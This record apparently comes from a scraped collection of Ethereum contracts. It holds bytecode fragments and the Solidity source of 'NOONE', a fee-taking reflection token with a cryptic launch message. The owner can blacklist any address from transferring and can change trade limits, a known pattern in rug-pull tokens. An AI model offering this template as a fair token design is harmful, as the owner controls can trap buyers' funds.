602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b3760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b938282611668565b5050565b610ba133826118a7565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bc96025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611ba56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611aef6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b806025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aaa6023913960400191505060405180910390fd5b6113e181604051806060016040528060268152602001611b11602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611474816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611592578082015181840152602081019050611577565b50505050905090810190601f1680156115bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611720816002546115e090919063ffffffff16565b6002819055506b033b2e3c9fd0803ce800000060025411156117aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b6117fb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b5f6021913960400191505060405180910390fd5b61199881604051806060016040528060228152602001611acd602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ef81600254611a5f90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611aa183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582019c3019293e9a0efcc720d5d8e216bc8e2bd7e3394f418122d585d0b8690b4ae64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 4,112 |
0xf657d69c62c39be9da87d0fb7625b2f730b5af8f
|
/*
I'm No one.
I'm fair, but I don't exist.
I will push the limits.
I will secure the funds.
After I am done, I will disappear.
You are the chosen one, my legacy is in your hands.
Initial buy limit: 1% = 10,000,000,000
Buy limit will be lifted every 5 minutes
Stealthiest launch ever
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NOONE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "No One ️";
string private constant _symbol = 'NOONE';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) public {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610525565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610543565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610550565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105d7565b005b34801561029b57600080fd5b506102a4610650565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610655565b3480156102f257600080fd5b5061028d6106cb565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b03166106ff565b34801561033a57600080fd5b5061028d610769565b34801561034f57600080fd5b5061035861080b565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61081a565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610839565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061084d945050505050565b34801561047e57600080fd5b5061028d610901565b34801561049357600080fd5b5061028d61093e565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d32565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e37565b60408051808201909152600a8152694e6f204f6e6520efb88f60b01b602082015290565b6000610539610532610e62565b8484610e66565b5060015b92915050565b683635c9adc5dea0000090565b600061055d848484610f52565b6105cd84610569610e62565b6105c885604051806060016040528060288152602001611f7e602891396001600160a01b038a166000908152600460205260408120906105a7610e62565b6001600160a01b031681526020810191909152604001600020549190611328565b610e66565b5060019392505050565b6105df610e62565b6000546001600160a01b0390811691161461062f576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa6833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b61065d610e62565b6000546001600160a01b039081169116146106ad576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa6833981519152604482015290519081900360640190fd5b60128054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106df610e62565b6001600160a01b0316146106f257600080fd5b476106fc816113bf565b50565b6001600160a01b03811660009081526006602052604081205460ff161561073f57506001600160a01b038116600090815260036020526040902054610764565b6001600160a01b038216600090815260026020526040902054610761906113f9565b90505b919050565b610771610e62565b6000546001600160a01b039081169116146107c1576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa6833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6040805180820190915260058152644e4f4f4e4560d81b602082015290565b6000610539610846610e62565b8484610f52565b610855610e62565b